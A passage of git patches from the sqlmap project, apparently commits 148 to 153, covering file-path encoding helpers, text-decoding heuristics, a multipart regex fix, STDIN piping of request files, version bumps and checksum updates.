else 2)) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7cfa865fa0b..1540a84a6bd 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -a6370a4c60104413c514c021f8409a44 lib/core/settings.py +c5129be9a3bf208a709866d00fb71a29 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py @@ -188,7 +188,7 @@ dd6bd1d3d561755b96e953ede16cb8fc plugins/dbms/mysql/syntax.py 82ed71cf0e9283859b61c88325255eb2 plugins/dbms/oracle/connector.py 3266e81eb4a3c083d27c7a255be38893 plugins/dbms/oracle/enumeration.py 5bdd5288c8303ea21a5f8409332e32a1 plugins/dbms/oracle/filesystem.py -8813f44f3b67fc98024199c7b8398811 plugins/dbms/oracle/fingerprint.py +48201c296b2ce285488c2325fff5c625 plugins/dbms/oracle/fingerprint.py c7bb3f112aad2ea7ea92e036e9aab6a7 plugins/dbms/oracle/__init__.py 2676a1544b454f276c64f5147f03ce02 plugins/dbms/oracle/syntax.py 8da7c9ee0a0e692097757dfc2b5fefe0 plugins/dbms/oracle/takeover.py From aecaa27839f2d73a471ff98ee58ca13cc0eacd52 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 13 Mar 2019 16:40:22 +0100 Subject: [PATCH 148/800] Minor refactoring --- lib/core/common.py | 9 +++++++++ lib/core/option.py | 13 +++++++------ lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index fd402183739..a08578a3115 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1809,6 +1809,15 @@ def normalizePath(filepath): return retVal +def safeFilepathEncode(filepath): + retVal = filepath + + if filepath and isinstance(filepath, unicode): + retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + + return retVal + + def safeExpandUser(filepath): """ Patch for a Python Issue18171 (http://bugs.python.org/issue18171) diff --git a/lib/core/option.py b/lib/core/option.py index 689ae0f8bcd..9c432b73926 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -54,6 +54,7 @@ from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser +from lib.core.common import safeFilepathEncode from lib.core.common import saveConfig from lib.core.common import setColor from lib.core.common import setOptimize @@ -734,8 +735,8 @@ def _setTamperingFunctions(): for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False - path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) - script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH) + script = safeFilepathEncode(script.strip()) try: if not script: @@ -770,7 +771,7 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: - module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) + module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) @@ -835,7 +836,7 @@ def _setPreprocessFunctions(): for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): found = False - script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + script = safeFilepathEncode(script.strip()) try: if not script: @@ -867,7 +868,7 @@ def _setPreprocessFunctions(): sys.path.insert(0, dirname) try: - module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) + module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) @@ -922,7 +923,7 @@ def _setWafFunctions(): try: if filename[:-3] in sys.modules: del sys.modules[filename[:-3]] - module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) + module = __import__(safeFilepathEncode(filename[:-3])) except ImportError as ex: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) diff --git a/lib/core/settings.py b/lib/core/settings.py index de38f06682b..93adee2b05d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.23" +VERSION = "1.3.3.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 1540a84a6bd..b43dfbf0d77 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -bebd1593691dd465304e09a9b1c62a71 lib/core/common.py +35d8ff12885e0a068c9bff647b51062e lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -43,14 +43,14 @@ f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 947f41084e551ff3b7ef7dda2f25ef20 lib/core/optiondict.py -aa327bbad1d25b60cd2a95b4846241eb lib/core/option.py +3d950fa87b0affe86322ebeea67840b3 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -c5129be9a3bf208a709866d00fb71a29 lib/core/settings.py +abff68fd8e863af65ce39b56d460a173 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From 196ac25284a32e368792552426b1f653b3a589dd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 13 Mar 2019 16:49:41 +0100 Subject: [PATCH 149/800] Fixes #3534 --- lib/core/common.py | 4 ++++ lib/core/option.py | 8 ++++---- lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index a08578a3115..304d61140e4 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1810,6 +1810,10 @@ def normalizePath(filepath): return retVal def safeFilepathEncode(filepath): + """ + Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading) + """ + retVal = filepath if filepath and isinstance(filepath, unicode): diff --git a/lib/core/option.py b/lib/core/option.py index 9c432b73926..9309e0353bf 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -773,7 +773,7 @@ def _setTamperingFunctions(): try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: - raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) + raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ @@ -807,7 +807,7 @@ def _setTamperingFunctions(): function() except Exception as ex: errMsg = "error occurred while checking dependencies " - errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex)) + errMsg += "for tamper module '%s' ('%s')" % (getUnicode(filename[:-3]), getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not found: @@ -870,7 +870,7 @@ def _setPreprocessFunctions(): try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: - raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) + raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): @@ -925,7 +925,7 @@ def _setWafFunctions(): del sys.modules[filename[:-3]] module = __import__(safeFilepathEncode(filename[:-3])) except ImportError as ex: - raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) + raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) _ = dict(inspect.getmembers(module)) if "detect" not in _: diff --git a/lib/core/settings.py b/lib/core/settings.py index 93adee2b05d..0dfd0a6a2fb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.24" +VERSION = "1.3.3.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index b43dfbf0d77..56cf058aa7f 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -35d8ff12885e0a068c9bff647b51062e lib/core/common.py +fc97b958552d9dd0a12feaf42d570f92 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -43,14 +43,14 @@ f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 947f41084e551ff3b7ef7dda2f25ef20 lib/core/optiondict.py -3d950fa87b0affe86322ebeea67840b3 lib/core/option.py +63c5c71af3fd05cd0a1c97dbbe7216b5 lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -abff68fd8e863af65ce39b56d460a173 lib/core/settings.py +21939a4ad6513e9f422f89e3bc39c448 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From da1982c4af7cf4bc80c899cdfed4044e17a3317a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 13 Mar 2019 17:14:37 +0100 Subject: [PATCH 150/800] Das heuristiche abomination --- lib/core/common.py | 16 ++++++++++++++++ lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 19 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 304d61140e4..aef36ab165f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2378,6 +2378,22 @@ def getUnicode(value, encoding=None, noneToNull=False): if isinstance(value, unicode): return value elif isinstance(value, basestring): + # Heuristics (if encoding not explicitly specified) + if all(_ in value for _ in ('<', '>')): + candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), sys.getfilesystemencoding(), UNICODE_ENCODING)) + elif any(_ in value for _ in (":\\", '/', '.')) and '\n' not in value: + candidates = filter(None, (encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) + elif conf.get("encoding") and '\n' not in value: + candidates = filter(None, (encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) + else: + candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"), sys.getfilesystemencoding())) + + for candidate in candidates: + try: + return unicode(value, candidate) + except UnicodeDecodeError: + pass + while True: try: return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0dfd0a6a2fb..a2f5b678b34 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.26" +VERSION = "1.3.3.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 56cf058aa7f..ea82150db47 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -fc97b958552d9dd0a12feaf42d570f92 lib/core/common.py +115e73982fa4ddd498d4c7d1a26d9c5c lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -21939a4ad6513e9f422f89e3bc39c448 lib/core/settings.py +d88a97d5d630efb2376bbec234f4c7bb lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From 8ed5e88be6e95bed6ea59cb4e1d6979bc417c8e4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 13 Mar 2019 17:20:14 +0100 Subject: [PATCH 151/800] Minor adjustments --- lib/core/common.py | 5 ++--- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index aef36ab165f..7478bf242d0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2379,14 +2379,13 @@ def getUnicode(value, encoding=None, noneToNull=False): return value elif isinstance(value, basestring): # Heuristics (if encoding not explicitly specified) + candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) if all(_ in value for _ in ('<', '>')): - candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), sys.getfilesystemencoding(), UNICODE_ENCODING)) + pass elif any(_ in value for _ in (":\\", '/', '.')) and '\n' not in value: candidates = filter(None, (encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) elif conf.get("encoding") and '\n' not in value: candidates = filter(None, (encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) - else: - candidates = filter(None, (encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"), sys.getfilesystemencoding())) for candidate in candidates: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index a2f5b678b34..40d7c00c24e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.27" +VERSION = "1.3.3.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index ea82150db47..0b59351e8cd 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -115e73982fa4ddd498d4c7d1a26d9c5c lib/core/common.py +c775aa0369c9eb044efb5065f60a25cd lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -50,7 +50,7 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -d88a97d5d630efb2376bbec234f4c7bb lib/core/settings.py +7789d478c81532fe4480ceeee2498ea3 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py From bf83a4d1f823d28514a4c4db7c544c6fe47421b3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 15 Mar 2019 11:14:06 +0100 Subject: [PATCH 152/800] Fixes #3532 --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 40d7c00c24e..6a9be7b745a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.28" +VERSION = "1.3.3.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 307a5c7d731..b3c5107dd84 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -212,7 +212,7 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) kb.postHint = POST_HINT.MULTIPART diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 0b59351e8cd..a93570f4b61 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,10 +50,10 @@ d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -7789d478c81532fe4480ceeee2498ea3 lib/core/settings.py +96b86cf1a93128720caa88a22f604ea1 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py -d9483455ff80d33a55db46ae2fa34a05 lib/core/target.py +10d7e4f7ba2502cce5cf69223c52eddc lib/core/target.py 7857b24b7865ccb4a05283faa596974d lib/core/testing.py 5c369aefa7c5af85dee9212acdf94bbc lib/core/threads.py 2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py From e7ffc8f9b1ff6e6071c56aeca53b84fb2dddacae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Fri, 15 Mar 2019 15:36:13 +0100 Subject: [PATCH 153/800] Adding support for STDIN pipe (e.g. '... -r - ...') --- lib/core/common.py | 59 ++++++++++++++++++++++++++------------------ lib/core/option.py | 8 +++--- lib/core/settings.py | 5 +++- sqlmap.py | 4 +++ txt/checksum.md5 | 8 +++--- 5 files changed, 51 insertions(+), 33 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 7478bf242d0..6a8afd53556 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -160,6 +160,7 @@ from lib.core.settings import SAFE_VARIABLE_MARKER from lib.core.settings import SENSITIVE_DATA_REGEX from lib.core.settings import SENSITIVE_OPTIONS +from lib.core.settings import STDIN_PIPE_DASH from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import TEXT_TAG_REGEX from lib.core.settings import TIME_STDEV_COEFF @@ -1165,6 +1166,14 @@ def getHeader(headers, key): break return retVal +def checkPipedInput(): + """ + Checks whether input to program has been provided via standard input (e.g. cat /tmp/req.txt | python sqlmap.py -r -) + # Reference: https://stackoverflow.com/a/33873570 + """ + + return not os.isatty(sys.stdin.fileno()) + def checkFile(filename, raiseOnError=True): """ Checks for file existence and readability @@ -1178,19 +1187,22 @@ def checkFile(filename, raiseOnError=True): if filename: filename = filename.strip('"\'') - try: - if filename is None or not os.path.isfile(filename): - valid = False - except: - valid = False - - if valid: + if filename == STDIN_PIPE_DASH: + return checkPipedInput() + else: try: - with open(filename, "rb"): - pass + if filename is None or not os.path.isfile(filename): + valid = False except: valid = False + if valid: + try: + with open(filename, "rb"): + pass + except: + valid = False + if not valid and raiseOnError: raise SqlmapSystemException("unable to read file '%s'" % filename) @@ -3305,13 +3317,19 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu Returns file handle of a given filename """ - try: - return codecs.open(filename, mode, encoding, errors, buffering) - except IOError: - errMsg = "there has been a file opening error for filename '%s'. " % filename - errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") - errMsg += "and that it's not locked by another process." - raise SqlmapSystemException(errMsg) + if filename == STDIN_PIPE_DASH: + if filename not in kb.cache.content: + kb.cache.content[filename] = sys.stdin.read() + + return contextlib.closing(StringIO(readCachedFileContent(filename))) + else: + try: + return codecs.open(filename, mode, encoding, errors, buffering) + except IOError: + errMsg = "there has been a file opening error for filename '%s'. " % filename + errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") + errMsg += "and that it's not locked by another process." + raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ @@ -4797,14 +4815,7 @@ def _parseBurpLog(content): if not(conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) - checkFile(reqFile) - try: - with openFile(reqFile, "rb") as f: - content = f.read() - except (IOError, OSError, MemoryError) as ex: - errMsg = "something went wrong while trying " - errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) - raise SqlmapSystemException(errMsg) + content = readCachedFileContent(reqFile) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) diff --git a/lib/core/option.py b/lib/core/option.py index 9309e0353bf..4204de6db2d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -226,7 +226,7 @@ def _setMultipleTargets(): errMsg = "the specified list of targets does not exist" raise SqlmapFilePathException(errMsg) - if os.path.isfile(conf.logFile): + if checkFile(conf.logFile, False): for target in parseRequestFile(conf.logFile): url, _, data, _, _ = target key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) @@ -292,7 +292,7 @@ def _setRequestFromFile(): conf.requestFile = safeExpandUser(conf.requestFile) seen = set() - if not os.path.isfile(conf.requestFile): + if not checkFile(conf.requestFile, False): errMsg = "specified HTTP request file '%s' " % conf.requestFile errMsg += "does not exist" raise SqlmapFilePathException(errMsg) @@ -309,7 +309,7 @@ def _setRequestFromFile(): if conf.secondReq: conf.secondReq = safeExpandUser(conf.secondReq) - if not os.path.isfile(conf.secondReq): + if not checkFile(conf.secondReq, False): errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq errMsg += "does not exist" raise SqlmapFilePathException(errMsg) @@ -411,7 +411,7 @@ def _setBulkMultipleTargets(): infoMsg = "parsing multiple targets list from '%s'" % conf.bulkFile logger.info(infoMsg) - if not os.path.isfile(conf.bulkFile): + if not checkFile(conf.bulkFile, False): errMsg = "the specified bulk file " errMsg += "does not exist" raise SqlmapFilePathException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a9be7b745a..a638906afd3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.29" +VERSION = "1.3.3.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -222,6 +222,9 @@ except LookupError: DEFAULT_PAGE_ENCODING = "utf8" +# Marker for program piped input +STDIN_PIPE_DASH = '-' + # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" diff --git a/sqlmap.py b/sqlmap.py index ce3b4cbf8ea..22821ed84c0 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -40,6 +40,7 @@ from lib.core.common import banner from lib.core.common import checkIntegrity + from lib.core.common import checkPipedInput from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getSafeExString @@ -131,6 +132,9 @@ def main(): cmdLineOptions.update(cmdLineParser().__dict__) initOptions(cmdLineOptions) + if checkPipedInput(): + conf.batch = True + if conf.get("api"): # heavy imports from lib.utils.api import StdDbOut diff --git a/txt/checksum.md5 b/txt/checksum.md5 index a93570f4b61..e1f6e65cb78 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -c775aa0369c9eb044efb5065f60a25cd lib/core/common.py +b096680d917729fd9658f9b75d44bb3b lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py @@ -43,14 +43,14 @@ f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py 947f41084e551ff3b7ef7dda2f25ef20 lib/core/optiondict.py -63c5c71af3fd05cd0a1c97dbbe7216b5 lib/core/option.py 